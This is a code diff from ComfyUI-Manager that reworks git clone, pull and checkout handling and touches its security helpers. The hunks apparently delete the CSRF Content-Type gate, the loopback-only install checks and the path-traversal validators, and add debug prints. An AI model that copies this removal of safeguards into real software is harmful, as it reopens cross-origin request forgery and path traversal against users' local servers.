if commit is None:
|
||||
# Try as named reference
|
||||
for candidate in [ref, f'refs/remotes/{ref}', f'refs/heads/{ref}', f'refs/tags/{ref}']:
|
||||
try:
|
||||
ref_obj = self._repo.references.get(candidate)
|
||||
if ref_obj is not None:
|
||||
commit = ref_obj.peel(_pygit2.Commit)
|
||||
break
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if commit is None:
|
||||
raise GitCommandError(f"Cannot resolve ref: {ref}")
|
||||
|
||||
self._repo.reset(commit.id, _pygit2.GIT_RESET_HARD)
|
||||
|
||||
def create_backup_branch(self, name):
|
||||
head_commit = self._repo.head.peel(_pygit2.Commit)
|
||||
self._repo.branches.local.create(name, head_commit)
|
||||
|
||||
def checkout(self, ref):
|
||||
# ref can be a _HeadProxy from get_head_by_name
|
||||
if isinstance(ref, _HeadProxy):
|
||||
ref = ref.name
|
||||
|
||||
branch = self._repo.branches.get(ref)
|
||||
if branch is not None:
|
||||
branch_ref = self._repo.lookup_reference(f'refs/heads/{ref}')
|
||||
self._repo.checkout(branch_ref)
|
||||
self._repo.set_head(branch_ref.name)
|
||||
return
|
||||
|
||||
for prefix in [f'refs/remotes/{ref}', f'refs/tags/{ref}']:
|
||||
ref_obj = self._repo.references.get(prefix)
|
||||
if ref_obj is not None:
|
||||
commit = ref_obj.peel(_pygit2.Commit)
|
||||
self._repo.checkout_tree(self._repo.get(commit.id))
|
||||
self._repo.set_head(commit.id)
|
||||
return
|
||||
|
||||
try:
|
||||
oid = _pygit2.Oid(hex=ref)
|
||||
obj = self._repo.get(oid)
|
||||
if obj is not None:
|
||||
commit = obj.peel(_pygit2.Commit)
|
||||
self._repo.checkout_tree(self._repo.get(commit.id))
|
||||
self._repo.set_head(commit.id)
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
raise GitCommandError(f"Cannot resolve ref for checkout: {ref}")
|
||||
|
||||
def checkout_new_branch(self, branch_name, start_point):
|
||||
commit = self._resolve_ref(start_point)
|
||||
branch = self._repo.branches.local.create(branch_name, commit)
|
||||
for prefix in [f'refs/remotes/{start_point}']:
|
||||
remote_ref = self._repo.references.get(prefix)
|
||||
if remote_ref is not None:
|
||||
try:
|
||||
branch.upstream = remote_ref
|
||||
except Exception:
|
||||
pass
|
||||
break
|
||||
self._repo.checkout(branch)
|
||||
self._repo.set_head(branch.name)
|
||||
|
||||
def submodule_update(self):
|
||||
try:
|
||||
self._repo.submodules.init()
|
||||
self._repo.submodules.update()
|
||||
except Exception:
|
||||
import subprocess
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['git', 'submodule', 'update', '--init', '--recursive'],
|
||||
cwd=self._working_dir,
|
||||
capture_output=True, timeout=120,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
raise GitCommandError(
|
||||
f"submodule update failed (exit {result.returncode}): "
|
||||
f"{result.stderr.decode(errors='replace')}")
|
||||
except FileNotFoundError:
|
||||
print("[ComfyUI-Manager] pygit2: submodule update requires system git (not installed)", file=sys.stderr)
|
||||
except GitCommandError:
|
||||
raise
|
||||
except Exception as sub_e:
|
||||
print(f"[ComfyUI-Manager] pygit2: submodule update failed: {sub_e}", file=sys.stderr)
|
||||
|
||||
def clear_cache(self):
|
||||
pass
|
||||
|
||||
def fetch_remote_by_index(self, index):
|
||||
remotes = list(self._repo.remotes)
|
||||
self._fetch_remote(remotes[index])
|
||||
|
||||
def pull_remote_by_index(self, index):
|
||||
remotes = list(self._repo.remotes)
|
||||
remote = remotes[index]
|
||||
self._fetch_remote(remote)
|
||||
# After fetch, try to ff-merge tracking branch
|
||||
try:
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch and branch.upstream:
|
||||
remote_commit = branch.upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
self._repo.free()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Public API
|
||||
# ===================================================================
|
||||
|
||||
def open_repo(path) -> GitRepo:
|
||||
"""Open a repository and return a backend-appropriate wrapper."""
|
||||
if USE_PYGIT2:
|
||||
return _Pygit2Repo(path)
|
||||
else:
|
||||
return _GitPythonRepo(path)
|
||||
|
||||
|
||||
def clone_repo(url, dest, progress=None):
|
||||
"""Clone a repository from *url* into *dest*.
|
||||
|
||||
Returns a repo wrapper that the caller can use for post-clone operations
|
||||
(checkout, clear_cache, close, etc.).
|
||||
"""
|
||||
if USE_PYGIT2:
|
||||
# The proxy= kwarg requires pygit2>=1.18; omit it when no proxy is
|
||||
# configured so proxy-less installs keep working on older pygit2.
|
||||
# (A configured proxy still needs >=1.18 — see requirements.txt.)
|
||||
if _HTTP_PROXY is not None:
|
||||
_pygit2.clone_repository(_to_https_url(url), dest, proxy=_HTTP_PROXY)
|
||||
else:
|
||||
_pygit2.clone_repository(_to_https_url(url), dest)
|
||||
repo = _Pygit2Repo(dest)
|
||||
repo.submodule_update()
|
||||
return repo
|
||||
else:
|
||||
if progress is None:
|
||||
r = _git.Repo.clone_from(url, dest, recursive=True)
|
||||
else:
|
||||
r = _git.Repo.clone_from(url, dest, recursive=True, progress=progress)
|
||||
return _GitPythonRepo(r.working_dir)
|
||||
|
||||
|
||||
def setup_git_environment(git_exe):
|
||||
"""Configure the git executable path (GitPython only)."""
|
||||
if USE_PYGIT2:
|
||||
return
|
||||
if git_exe:
|
||||
_git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
|
||||
@@ -3,18 +3,12 @@ import sys
|
||||
import os
|
||||
import traceback
|
||||
|
||||
# Make git_compat importable as a standalone subprocess script
|
||||
sys.path.insert(0, os.path.dirname(__file__))
|
||||
|
||||
from git_compat import open_repo, clone_repo, GitCommandError, setup_git_environment
|
||||
import git
|
||||
import json
|
||||
import yaml
|
||||
import requests
|
||||
from tqdm.auto import tqdm
|
||||
try:
|
||||
from git.remote import RemoteProgress
|
||||
except ImportError:
|
||||
RemoteProgress = object
|
||||
from git.remote import RemoteProgress
|
||||
|
||||
|
||||
comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
@@ -56,6 +50,9 @@ working_directory = os.getcwd()
|
||||
|
||||
if os.path.basename(working_directory) != 'custom_nodes':
|
||||
print("WARN: This script should be executed in custom_nodes dir")
|
||||
print(f"DBG: INFO {working_directory}")
|
||||
print(f"DBG: INFO {sys.argv}")
|
||||
# exit(-1)
|
||||
|
||||
|
||||
class GitProgress(RemoteProgress):
|
||||
@@ -70,113 +67,68 @@ class GitProgress(RemoteProgress):
|
||||
self.pbar.refresh()
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None):
|
||||
"""Get backup branch name with current timestamp.
|
||||
|
||||
Inlined from timestamp_utils to keep git_helper.py standalone — this script
|
||||
runs as a subprocess on Windows and must not import from comfyui_manager.
|
||||
"""
|
||||
import time as _time
|
||||
import uuid as _uuid
|
||||
|
||||
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.list_heads()}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
|
||||
if repo_path is None:
|
||||
repo_path = os.path.join(custom_nodes_path, repo_name)
|
||||
|
||||
# On Windows, previous failed clones may leave directories with locked
|
||||
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
|
||||
# Rename stale directory out of the way so clone can proceed.
|
||||
if os.path.exists(repo_path):
|
||||
import shutil
|
||||
import uuid as _uuid
|
||||
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(repo_path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(repo_path, ignore_errors=True)
|
||||
|
||||
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
|
||||
progress = GitProgress() if sys.stderr.isatty() else None
|
||||
repo = clone_repo(url, repo_path, progress=progress)
|
||||
# Clone the repository from the remote URL
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
|
||||
|
||||
if target_hash is not None:
|
||||
print(f"CHECKOUT: {repo_name} [{target_hash}]")
|
||||
repo.checkout(target_hash)
|
||||
repo.git.checkout(target_hash)
|
||||
|
||||
repo.clear_cache()
|
||||
repo.git.clear_cache()
|
||||
repo.close()
|
||||
|
||||
|
||||
def gitcheck(path, do_fetch=False):
|
||||
try:
|
||||
# Fetch the latest commits from the remote repository
|
||||
with open_repo(path) as repo:
|
||||
repo = git.Repo(path)
|
||||
|
||||
if repo.head_is_detached:
|
||||
if repo.head.is_detached:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
return
|
||||
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
remote = repo.remote(name=remote_name)
|
||||
|
||||
if do_fetch:
|
||||
remote.fetch()
|
||||
|
||||
# Get the current commit hash and the commit hash of the remote branch
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
|
||||
if f'{remote_name}/{branch_name}' in repo.refs:
|
||||
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
|
||||
return
|
||||
|
||||
# Compare the commit hashes to determine if the local repository is behind the remote repository
|
||||
if commit_hash != remote_commit_hash:
|
||||
# Get the commit dates
|
||||
commit_date = repo.head.commit.committed_datetime
|
||||
remote_commit_date = repo.refs[f'{remote_name}/{branch_name}'].object.committed_datetime
|
||||
|
||||
# Compare the commit dates to determine if the local repository is behind the remote repository
|
||||
if commit_date < remote_commit_date:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
return
|
||||
|
||||
branch_name = repo.active_branch_name
|
||||
|
||||
remote_name = repo.get_tracking_remote_name()
|
||||
remote = repo.get_remote(remote_name)
|
||||
|
||||
if do_fetch:
|
||||
remote.fetch()
|
||||
|
||||
# Get the current commit hash and the commit hash of the remote branch
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
|
||||
if repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
|
||||
return
|
||||
|
||||
# Compare the commit hashes to determine if the local repository is behind the remote repository
|
||||
if commit_hash != remote_commit_hash:
|
||||
# Get the commit dates
|
||||
commit_date = repo.head_commit_datetime
|
||||
remote_commit_date = repo.get_ref_commit_datetime(f'{remote_name}/{branch_name}')
|
||||
|
||||
# Compare the commit dates to determine if the local repository is behind the remote repository
|
||||
if commit_date < remote_commit_date:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: False")
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: False")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE CHECK: Error")
|
||||
|
||||
|
||||
def get_remote_name(repo):
|
||||
available_remotes = [remote.name for remote in repo.list_remotes()]
|
||||
available_remotes = [remote.name for remote in repo.remotes]
|
||||
if 'origin' in available_remotes:
|
||||
return 'origin'
|
||||
elif 'upstream' in available_remotes:
|
||||
@@ -201,28 +153,28 @@ def switch_to_default_branch(repo):
|
||||
if remote_name is None:
|
||||
return False
|
||||
|
||||
default_branch = repo.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.checkout(default_branch)
|
||||
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.git.checkout(default_branch)
|
||||
return True
|
||||
except Exception:
|
||||
# try checkout master
|
||||
# try checkout main if failed
|
||||
try:
|
||||
repo.checkout(repo.get_head_by_name('master'))
|
||||
repo.git.checkout(repo.heads.master)
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.checkout_new_branch('master', f'{remote_name}/master')
|
||||
repo.git.checkout('-b', 'master', f'{remote_name}/master')
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
repo.checkout(repo.get_head_by_name('main'))
|
||||
repo.git.checkout(repo.heads.main)
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.checkout_new_branch('main', f'{remote_name}/main')
|
||||
repo.git.checkout('-b', 'main', f'{remote_name}/main')
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
@@ -237,67 +189,65 @@ def gitpull(path):
|
||||
raise ValueError('Not a git repository')
|
||||
|
||||
# Pull the latest changes from the remote repository
|
||||
with open_repo(path) as repo:
|
||||
if repo.is_dirty():
|
||||
print(f"STASH: '{path}' is dirty.")
|
||||
repo.stash()
|
||||
repo = git.Repo(path)
|
||||
if repo.is_dirty():
|
||||
print(f"STASH: '{path}' is dirty.")
|
||||
repo.git.stash()
|
||||
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
try:
|
||||
if repo.head_is_detached:
|
||||
switch_to_default_branch(repo)
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
try:
|
||||
if repo.head.is_detached:
|
||||
switch_to_default_branch(repo)
|
||||
|
||||
branch_name = repo.active_branch_name
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote_name = repo.get_tracking_remote_name()
|
||||
remote = repo.get_remote(remote_name)
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
remote = repo.remote(name=remote_name)
|
||||
|
||||
if not repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
switch_to_default_branch(repo)
|
||||
branch_name = repo.active_branch_name
|
||||
if f'{remote_name}/{branch_name}' not in repo.refs:
|
||||
switch_to_default_branch(repo)
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote.fetch()
|
||||
if repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
return
|
||||
remote.fetch()
|
||||
if f'{remote_name}/{branch_name}' in repo.refs:
|
||||
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
return
|
||||
|
||||
if commit_hash == remote_commit_hash:
|
||||
print("CUSTOM NODE PULL: None") # there is no update
|
||||
return
|
||||
if commit_hash == remote_commit_hash:
|
||||
print("CUSTOM NODE PULL: None") # there is no update
|
||||
repo.close()
|
||||
return
|
||||
|
||||
try:
|
||||
repo.pull_ff_only()
|
||||
except GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_backup_branch(backup_name)
|
||||
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.reset_hard(f'{remote_name}/{branch_name}')
|
||||
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
remote.pull()
|
||||
|
||||
repo.submodule_update()
|
||||
new_commit_hash = repo.head_commit_hexsha
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
|
||||
if commit_hash != new_commit_hash:
|
||||
print("CUSTOM NODE PULL: Success") # update success
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE PULL: Fail") # unknown git error
|
||||
if commit_hash != new_commit_hash:
|
||||
print("CUSTOM NODE PULL: Success") # update success
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE PULL: Fail") # unknown git error
|
||||
|
||||
repo.close()
|
||||
|
||||
|
||||
def checkout_comfyui_hash(target_hash):
|
||||
with open_repo(comfy_path) as repo:
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
repo = git.Repo(comfy_path)
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
|
||||
if commit_hash != target_hash:
|
||||
try:
|
||||
print(f"CHECKOUT: ComfyUI [{target_hash}]")
|
||||
repo.checkout(target_hash)
|
||||
except GitCommandError as e:
|
||||
print(f"Error checking out the ComfyUI: {str(e)}")
|
||||
if commit_hash != target_hash:
|
||||
try:
|
||||
print(f"CHECKOUT: ComfyUI [{target_hash}]")
|
||||
repo.git.checkout(target_hash)
|
||||
except git.GitCommandError as e:
|
||||
print(f"Error checking out the ComfyUI: {str(e)}")
|
||||
|
||||
|
||||
def checkout_custom_node_hash(git_custom_node_infos):
|
||||
@@ -359,12 +309,12 @@ def checkout_custom_node_hash(git_custom_node_infos):
|
||||
need_checkout = True
|
||||
|
||||
if need_checkout:
|
||||
with open_repo(fullpath) as repo:
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
repo = git.Repo(fullpath)
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
|
||||
if commit_hash != item['hash']:
|
||||
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
|
||||
repo.checkout(item['hash'])
|
||||
if commit_hash != item['hash']:
|
||||
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
|
||||
repo.git.checkout(item['hash'])
|
||||
|
||||
except Exception:
|
||||
print(f"Failed to restore snapshots for the custom node '{path}'")
|
||||
@@ -539,7 +489,7 @@ def restore_pip_snapshot(pips, options):
|
||||
|
||||
def setup_environment():
|
||||
if git_exe_path is not None:
|
||||
setup_git_environment(git_exe_path)
|
||||
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe_path)
|
||||
|
||||
|
||||
setup_environment()
|
||||
@@ -570,9 +520,7 @@ try:
|
||||
restore_pip_snapshot(pips, options)
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
print(e, file=sys.stderr)
|
||||
if hasattr(e, 'stderr') and e.stderr:
|
||||
print(e.stderr, file=sys.stderr)
|
||||
sys.exit(1)
|
||||
print(e)
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
@@ -74,15 +74,17 @@ def normalize_to_github_id(url) -> str:
|
||||
|
||||
return f"{author}/{repo_name}"
|
||||
|
||||
# Handle short format like "author/repo" (aux_id format)
|
||||
if '/' in url and not url.startswith('http'):
|
||||
parts = url.split('/')
|
||||
if len(parts) == 2 and parts[0] and parts[1]:
|
||||
return url
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def compact_url(url):
|
||||
github_id = normalize_to_github_id(url)
|
||||
if github_id is not None:
|
||||
return github_id
|
||||
|
||||
return url
|
||||
|
||||
|
||||
def get_url_for_clone(url):
|
||||
url = normalize_url(url)
|
||||
|
||||
|
||||
@@ -1,90 +1,8 @@
|
||||
"""Security helpers for CSRF protection and Content-Type gating.
|
||||
|
||||
reject_simple_form_post() is applied ONLY to POST handlers that do not consume
|
||||
a request body (e.g., snapshot/save, queue/reset, queue/start, reboot). These
|
||||
are vulnerable to cross-origin <form method=POST> attacks because the server
|
||||
accepts the request without parsing any body — the attacker needs no ability
|
||||
to forge a valid payload, only to point a hidden form at the URL.
|
||||
|
||||
Handlers that DO read a body via ``await request.json()`` (install/git_url,
|
||||
install/pip, queue/install_model, db_mode POST, policy/update POST,
|
||||
channel_url_list POST, queue/batch, queue/task, import_fail_info, etc.) are
|
||||
NOT gated here — a cross-origin <form method=POST> cannot forge a valid JSON
|
||||
body because the browser refuses to send ``application/json`` without a CORS
|
||||
preflight, which this server rejects by not responding with an appropriate
|
||||
Access-Control-Allow-Origin.
|
||||
|
||||
DO NOT add the gate to body-reading handlers (redundant + UX-breaking).
|
||||
DO NOT remove the gate from no-body handlers (this is the bypass vector).
|
||||
"""
|
||||
|
||||
import os
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
|
||||
from aiohttp import web
|
||||
|
||||
is_personal_cloud_mode = False
|
||||
handler_policy = {}
|
||||
|
||||
FLAGGED_NODEPACK_INSTALL_ERROR = (
|
||||
'This action is not allowed by the current security configuration. '
|
||||
'See the terminal for details.'
|
||||
)
|
||||
FLAGGED_NODEPACK_INSTALL_GUIDANCE = (
|
||||
'Installation of this flagged CNR version is blocked. To satisfy the additional '
|
||||
'flagged-version requirement, choose one of the following:\n'
|
||||
'1. Run ComfyUI with loopback-only listeners, for example --listen 127.0.0.1 '
|
||||
'or --listen ::1. All configured listen addresses must be loopback.\n'
|
||||
' Do not use bare --listen or any non-loopback address, such as 0.0.0.0 or ::.\n'
|
||||
'2. For a trusted private network, set allow_flagged_nodepack_install = true '
|
||||
'in the [default] section of ComfyUI-Manager\'s config.ini.\n'
|
||||
'Restart ComfyUI after changing the listener or configuration. '
|
||||
'All other installation security checks still apply.'
|
||||
)
|
||||
|
||||
|
||||
# CORS "simple request" Content-Type set per Fetch spec §3.2.3. Browsers send
|
||||
# <form method=POST> submissions with one of these three MIME types and do NOT
|
||||
# trigger a CORS preflight, so a malicious cross-origin page can silently POST
|
||||
# into state-changing endpoints if we only gate on HTTP method. Blocking these
|
||||
# three Content-Types on our mutation endpoints forces any non-same-origin POST
|
||||
# to use a non-simple Content-Type (e.g. application/json), which triggers a
|
||||
# preflight that this server rejects (no Access-Control-Allow-Origin response).
|
||||
_SIMPLE_FORM_CONTENT_TYPES = frozenset({
|
||||
'application/x-www-form-urlencoded',
|
||||
'multipart/form-data',
|
||||
'text/plain',
|
||||
})
|
||||
|
||||
|
||||
def reject_simple_form_post(request) -> Optional[web.Response]:
|
||||
"""Reject Content-Types that enable preflight-less <form method=POST> CSRF.
|
||||
|
||||
These 3 MIME types are the complete CORS "simple request" Content-Type set
|
||||
(Fetch spec §3.2.3 "CORS-safelisted request-header"). Blocking them
|
||||
eliminates the <form method=POST> cross-origin CSRF vector, because any
|
||||
other Content-Type triggers a browser-enforced CORS preflight — and this
|
||||
server does not answer preflights with ``Access-Control-Allow-Origin``,
|
||||
effectively blocking cross-origin requests that use non-simple types.
|
||||
|
||||
Returns:
|
||||
web.Response(status=400) when the request has a simple-form
|
||||
Content-Type that must be rejected. None when the request is allowed
|
||||
to proceed (no body, application/json, or any non-simple Content-Type).
|
||||
|
||||
Note:
|
||||
aiohttp's ``request.content_type`` normalizes the header (lower-cases,
|
||||
strips parameters), so a ``multipart/form-data; boundary=----X`` header
|
||||
is compared as ``multipart/form-data``.
|
||||
"""
|
||||
if request.content_type in _SIMPLE_FORM_CONTENT_TYPES:
|
||||
return web.Response(
|
||||
status=400,
|
||||
text='Invalid Content-Type for this endpoint. Use application/json or omit body.',
|
||||
)
|
||||
return None
|
||||
|
||||
class HANDLER_POLICY(Enum):
|
||||
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
|
||||
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
|
||||
@@ -99,51 +17,6 @@ def is_loopback(address):
|
||||
return False
|
||||
|
||||
|
||||
def is_loopback_listener(listen_address: str) -> bool:
|
||||
"""All addresses bound by --listen must resolve exclusively to loopback."""
|
||||
import socket
|
||||
|
||||
if not isinstance(listen_address, str) or not listen_address:
|
||||
return False
|
||||
for address in listen_address.split(','):
|
||||
address = address.strip()
|
||||
if not address:
|
||||
return False
|
||||
if is_loopback(address):
|
||||
continue
|
||||
try:
|
||||
resolved = socket.getaddrinfo(address, None, type=socket.SOCK_STREAM)
|
||||
except OSError:
|
||||
return False
|
||||
if not resolved or any(not is_loopback(item[4][0]) for item in resolved):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def is_cnr_install_allowed(status: str, allow_flagged: bool, listen_address: str) -> bool:
|
||||
"""Only flagged versions require loopback or the private-network opt-in."""
|
||||
return status != 'NodeVersionStatusFlagged' or bool(allow_flagged) or is_loopback_listener(listen_address)
|
||||
|
||||
|
||||
def is_dedicated_install_allowed(flag_value: bool, listen_address: str, network_mode: str) -> bool:
|
||||
"""P-direct predicate for the dedicated install flags (goal265-spec.md §1.2).
|
||||
|
||||
allowed iff flag AND (loopback listener OR network_mode == 'personal_cloud').
|
||||
|
||||
Gates the git-URL / standalone-pip install surfaces via the dedicated
|
||||
``allow_git_url_install`` / ``allow_pip_install`` config flags, fully
|
||||
decoupled from ``security_level`` (REPLACE, not AND — spec §1.1 inv. 1).
|
||||
The network-position term retains today's invariant that a public
|
||||
(non-loopback, non-personal_cloud) listener stays denied regardless of
|
||||
the flags (spec §1.1 inv. 2).
|
||||
|
||||
Pure function — NO config access; callers resolve ``flag_value`` and
|
||||
``network_mode`` through their own config reader and pass values in
|
||||
(preserves common/ layering: this module must stay config-import-free).
|
||||
"""
|
||||
return bool(flag_value) and (is_loopback(listen_address) or network_mode.lower() == 'personal_cloud')
|
||||
|
||||
|
||||
def do_nothing():
|
||||
pass
|
||||
|
||||
@@ -161,35 +34,3 @@ def add_handler_policy(x, policy):
|
||||
|
||||
|
||||
multiple_remote_alert = do_nothing
|
||||
|
||||
|
||||
def is_safe_path_target(target: str) -> bool:
|
||||
"""
|
||||
Check if target string is safe from path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename or identifier
|
||||
|
||||
Returns:
|
||||
True if safe, False if contains path traversal characters
|
||||
"""
|
||||
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
|
||||
"""
|
||||
Safely construct a file path, preventing path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename (without extension)
|
||||
base_dir: Base directory path
|
||||
extension: File extension to append (default: ".json")
|
||||
|
||||
Returns:
|
||||
Safe file path or None if input contains path traversal attempts
|
||||
"""
|
||||
if not is_safe_path_target(target):
|
||||
return None
|
||||
return os.path.join(base_dir, f"{target}{extension}")
|
||||
|
||||
@@ -8,13 +8,13 @@ import aiohttp
|
||||
import json
|
||||
import threading
|
||||
import os
|
||||
from datetime import datetime
|
||||
import subprocess
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
import platform
|
||||
import shlex
|
||||
import time
|
||||
from functools import lru_cache
|
||||
|
||||
|
||||
@@ -25,7 +25,6 @@ comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '
|
||||
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
|
||||
|
||||
use_uv = False
|
||||
use_unified_resolver = False
|
||||
bypass_ssl = False
|
||||
|
||||
def is_manager_pip_package():
|
||||
@@ -177,7 +176,7 @@ def is_file_created_within_one_day(file_path):
|
||||
return False
|
||||
|
||||
file_creation_time = os.path.getctime(file_path)
|
||||
current_time = time.time()
|
||||
current_time = datetime.now().timestamp()
|
||||
time_difference = current_time - file_creation_time
|
||||
|
||||
return time_difference <= 86400
|
||||
|
||||
@@ -14,6 +14,7 @@ class InstalledNodePackage:
|
||||
fullpath: str
|
||||
disabled: bool
|
||||
version: str
|
||||
repo_url: str = None # Git repository URL for nightly packages
|
||||
|
||||
@property
|
||||
def is_unknown(self) -> bool:
|
||||
@@ -46,6 +47,8 @@ class InstalledNodePackage:
|
||||
|
||||
@staticmethod
|
||||
def from_fullpath(fullpath: str, resolve_from_path) -> InstalledNodePackage:
|
||||
from . import git_utils
|
||||
|
||||
parent_folder_name = os.path.basename(os.path.dirname(fullpath))
|
||||
module_name = os.path.basename(fullpath)
|
||||
|
||||
@@ -54,6 +57,10 @@ class InstalledNodePackage:
|
||||
disabled = True
|
||||
elif parent_folder_name == ".disabled":
|
||||
# Nodes under custom_nodes/.disabled/* are disabled
|
||||
# Parse directory name format: packagename@version
|
||||
# Examples:
|
||||
# comfyui_sigmoidoffsetscheduler@nightly → id: comfyui_sigmoidoffsetscheduler, version: nightly
|
||||
# comfyui_sigmoidoffsetscheduler@1_0_2 → id: comfyui_sigmoidoffsetscheduler, version: 1.0.2
|
||||
node_id = module_name
|
||||
disabled = True
|
||||
else:
|
||||
@@ -61,12 +68,35 @@ class InstalledNodePackage:
|
||||
disabled = False
|
||||
|
||||
info = resolve_from_path(fullpath)
|
||||
repo_url = None
|
||||
version_from_dirname = None
|
||||
|
||||
# For disabled packages, try to extract version from directory name
|
||||
if disabled and parent_folder_name == ".disabled" and '@' in module_name:
|
||||
parts = module_name.split('@')
|
||||
if len(parts) == 2:
|
||||
node_id = parts[0] # Use the normalized name from directory
|
||||
version_from_dirname = parts[1].replace('_', '.') # Convert 1_0_2 → 1.0.2
|
||||
|
||||
if info is None:
|
||||
version = 'unknown'
|
||||
version = version_from_dirname if version_from_dirname else 'unknown'
|
||||
else:
|
||||
